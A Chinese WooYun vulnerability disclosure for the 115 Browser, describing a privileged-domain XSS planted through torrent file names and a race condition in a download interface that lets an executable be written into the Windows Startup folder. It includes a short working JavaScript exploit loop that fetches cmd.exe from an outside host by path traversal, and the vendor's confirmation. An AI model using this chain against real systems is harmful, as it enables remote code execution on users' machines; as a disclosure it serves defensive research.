当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0157485

漏洞标题:115浏览器漏洞之邪恶的种子(远程代码执行)

相关厂商:115网盘

漏洞作者: 隐形人真忙

提交时间:2015-12-01 23:48

修复时间:2015-12-17 14:48

公开时间:2015-12-17 14:48

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-01: 细节已通知厂商并且等待厂商处理中
2015-12-02: 厂商已经确认,细节仅向厂商公开
2015-12-05: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2016-01-26: 细节向核心白帽子及相关领域专家公开
2016-02-05: 细节向普通白帽子公开
2016-02-15: 细节向实习白帽子公开
2015-12-17: 细节向公众公开

简要描述:

115浏览器的猥琐命令执行,看到网盘里的种子你还敢下载吗?

详细说明:

115浏览器更新啦!**.**.**.**版本,这个版本修补了之前提到的命令执行。

1.png


对于window.browserInterface接口进行了限制,在普通域下无法进行调用,但是可以在chrome域下使用,并且修复了之前的目录跳转漏洞
http://**.**.**.**/bugs/wooyun-2010-0149968。我们来进行一一突破。
-------------------------------------------
0x00 特权域XSS之邪恶的种子
-------------------------------------------
在排查特权域的途中,发现了一个有趣的功能:chrome://mini_download_frame提供种子文件的解析下载。

2.png


当选择种子的时候,就能看到种子包含的各个文件信息。现在我们测试一下这里的文件名是否经过了有效的过滤,如果没有过滤,就能获得一个特权域的XSS:

3.png


使用种子文件编辑器进行编辑,修改其中一个文件名为<script>标签,嵌入我们的恶意代码,test.js中是一句简单的alert(document.domain),执行结果如下:

4.png


有些文件名好污....洞主也是随便找的一个种子,大家可以忽略。
-------------------------------------------
0x01 猥琐的命令执行姿势
-------------------------------------------
有了特权域XSS,我们能做的事情就很多了,前面说到了browserInterface接口在chrome是没有限制的,但是新版本的115浏览器修复了之前的目录跳转,我们依靠下载函数window.browserInterface.BatchDownloadFilesToLocal结合新建目录的跳转受到了限制,具体如下:

5.png


尝试使用URL中跳转符@进行绕过,但是同样失败了。似乎这种方法无法在被利用。
但是我在测试的过程中发现了一些有趣的现象,当多次执行下载函数后,115浏览器背后的路径权限检查和下载动作存在竞争条件,具体来讲就是多次执行时,有些下载任务在已经下载了一定字节的数据后才开始进行保存路径权限的判断。在家庭4M网络下进行测试,发现多次执行的同一条下载函数甚至可以下载到300k的数据,并且可以执行目录跳转,这么大的数据可以达到放置一个小型的木马了。
测试代码如下:

for(var i=0;i<20;i++){ 
window.browserInterface.BatchDownloadFilesToLocal(["http://**.**.**.**/cmd.exe"],["../../../Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/cmd.exe"],"test") ;
}


上面的代码是执行下载任务20次,还是使用之前的目录跳转漏洞。可以看到,20次中,成功下载到了cmd.exe,原理就是115浏览器对于跳转目录的权限判断修补相对于下载动作来说有些滞后,导致了多次执行后,有些任务下载完成但是没有来得及进行路径权限判断,这样就导致了我们可以将exe下载到任意文件夹中,造成命令执行(下载到启动目录)。

6.png


按照惯例,录个gif:http://**.**.**.**/115exp.gif
有了上面特权XSS和跳转目录修复的突破,我们不难写出命令执行的POC,使用种子文件加载恶意的XSS代码,代码和上面相同,执行多次下载和目录跳转。
效果见gif:http://**.**.**.**/115rce.gif
这种类型的RCE是不是很猥琐?真实效果应该和用户的网速有关,洞主在4M家庭网络下进行测试,执行20次就可以成功。当网络环境差的时候,执行更多次也是能达到效果的。所以,在115网盘空间里看见了诱人的种子文件,你还敢点击下载吗?

漏洞证明:

1、多次执行突破路径权限限制
http://**.**.**.**/115exp.gif
2、综合利用命令执行
http://**.**.**.**/115rce.gif

修复方案:

1、修复特权域XSS
2、继续修复目录跳转的判断流程

版权声明:转载请注明来源 隐形人真忙@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-12-02 09:35

厂商回复:

感谢隐形人真忙对115浏览器的支持,我们尽快修复漏洞!

最新状态:

暂无


漏洞评价:

评价

  1. 2015-12-01 23:56 | _Thorns ( 普通白帽子 | Rank:1662 漏洞数:248 | WooYun is the Bigest gay place. 网络工...)

    前排

  2. 2015-12-02 00:50 | 数据流 认证白帽子 ( 普通白帽子 | Rank:738 漏洞数:93 | 没关系啊,我们还有音乐)

    能远程种马儿不?

  3. 2015-12-02 06:26 | paper ( 路人 | Rank:8 漏洞数:1 | 无)

    围观大神

  4. 2015-12-02 09:27 | 隐形人真忙 ( 普通白帽子 | Rank:145 漏洞数:18 | 关注安全研发与漏洞)

    @数据流 可以

  5. 2015-12-06 17:51 | 疯兔子 ( 路人 | Rank:2 漏洞数:1 )

    能说一下这些浏览器那些远程代码执行的具体意义么。。

  6. 2015-12-06 23:47 | 隐形人真忙 ( 普通白帽子 | Rank:145 漏洞数:18 | 关注安全研发与漏洞)

    @疯兔子 那你就多学习学习 然后就知道了

  7. 2015-12-07 10:44 | ondrej ( 路人 | Rank:3 漏洞数:2 | Android)

    关注,等公开学习

  8. 2015-12-08 13:14 | Arthur ( 实习白帽子 | Rank:85 漏洞数:35 | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~)

    115我只存放“学习资料”

  9. 2015-12-09 11:26 | Jeechan ( 路人 | Rank:0 漏洞数:1 | 一个深沉又滑稽的人)

    @Arthur 我只放实战技术

  10. 2015-12-09 18:18 | hkcs ( 实习白帽子 | Rank:56 漏洞数:9 | 只是路过)

    @Jeechan 那是3D虚拟现实